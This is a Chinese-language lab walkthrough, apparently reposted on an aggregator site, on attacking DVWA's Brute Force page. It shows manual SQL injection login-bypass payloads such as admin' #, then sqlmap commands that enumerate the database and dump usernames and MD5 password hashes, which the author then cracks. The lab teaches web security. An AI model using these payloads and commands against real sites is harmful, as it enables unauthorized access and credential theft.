DVWA之暴力破解二(手动注入和使用sqlmap)

您所在的位置:网站首页 数据库数据录入需要手动吗 DVWA之暴力破解二(手动注入和使用sqlmap)

DVWA之暴力破解二(手动注入和使用sqlmap)

2023-06-29 07:55| 来源: 网络整理| 查看: 265

首先,选中左侧栏中Brute Force(图中红框1),右下角的View Source按钮(图中红框2)来查看源码。默认情况下,安全级别是low(图中红框3),可以点击DVWA Security(图中红框4)去更改安全级别。

 

源码如下:

 具体看查询数据库的语句(图中红框处)。

然后开始尝试注入。

(一)手动注入

首先我们手动代码来主动试试。

"SELECT * FROM 'users' WHERE user='$user' AND password='$pass';"

然后我们分析,user变量是用单引号‘去识别的,那我们在输入的时候,自己加入’后再加入一些其他的内容是不是也可以。

于是在输入框Username时,我输入:admin' or '1'='1

这样,连接起来便是"SELECT * FROM 'users' WHERE user='admin' or '1'='1' AND password='$pass';"

注意,数据库中,AND的级别比OR要高,于是这句查询语句变成了:

"SELECT * FROM 'users' WHERE (user='admin') or ('1'='1' AND password='$pass');"

此时,输入不输入密码都已经没有关系,只要输入正确的用户名便能登录。下图为登录的结果。

 

或者,还有一个方法,更加简洁方便,直接在Username输入框中输入:admin' #

#是注释后面的代码,然后让咱们来看看查询后的结果。

如上图所示,已经用admin账号登录,前提是知道正确的用户名。

 

(二)sqlmap注入

然后我们用sqlmap来试试。

1.随便输入一些字符,然后用burp suite去抓包,发现是get方法。之后复制url去使用sqlmap去检测是否可以注入。

随便输入用户名为1,密码为23。

 

 

此时提示重定向到登录页面。

 我们可以想想为什么到登录页面。

因为之前我们是登录进来,所以有一个cookie,现在我们之间用url去请求,没有附带cookie,所以这时是需要重新回到登录页面的。我们选择n。之后重新开始检测,加上cookie。

见上图,红色框框中便是cookie。 

2.重新请求:$ sqlmap -u "http://192.168.117.129/dvwa/vulnerabilities/brute/?username=admin%27+%23&password=&Login=Login" --cookie="security=low; PHPSESSID=621e9j7v204ticb23c32u05at6,

 显示是可以注入的。因为之前我有注入过,现在直接就把注入的结果显示出来了。

3.接着,我们继续注入,爆破所有的数据库。输入:

$ sqlmap -u "http://192.168.117.129/dvwa/vulnerabilities/brute/?username=admin%27+%23&password=&Login=Login" --cookie="security=low; PHPSESSID=621e9j7v204ticb23c32u05at6" --dbs 显示的结果如下图:

 后台数据库是MySQL,然后有两个数据库,一个是information_schema,一个是dvwa。

4.爆破dvwa数据库下的所有表。输入:

$ sqlmap -u "http://192.168.117.129/dvwa/vulnerabilities/brute/?username=admin%27+%23&password=&Login=Login" --cookie="security=low; PHPSESSID=621e9j7v204ticb23c32u05at6" -D dvwa --tables

爆破结果如下图:

有两个表,guestbook和users。 

5.爆破users表中的所有列。输入:

$ sqlmap -u "http://192.168.117.129/dvwa/vulnerabilities/brute/?username=admin%27+%23&password=&Login=Login" --cookie="security=low; PHPSESSID=621e9j7v204ticb23c32u05at6" -D dvwa -T users --columns

结果如下图:

 users表有6列,其中user和password是登录的关键。

6.爆破指定列名的所有数据。主要是爆破用户名和密码,输入:

$ sqlmap -u "http://192.168.117.129/dvwa/vulnerabilities/brute/?username=admin%27+%23&password=&Login=Login" --cookie="security=low; PHPSESSID=621e9j7v204ticb23c32u05at6" -D dvwa -T users -C user --dump

结果为:

继续爆破密码,结果为:

 7.此时用户名和密码都爆破出来。再回到之前的源代码那,可以看到,密码是md5加密后再存的,所以在网上搜索md5解密,把爆破出来的密码成功还原。至此,爆破成功。

如有错误,请大家指正!还有向大家请教下一次性爆破两列的方法,我之前有看到过,后来忘记了,试了试都没有成功。

 



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3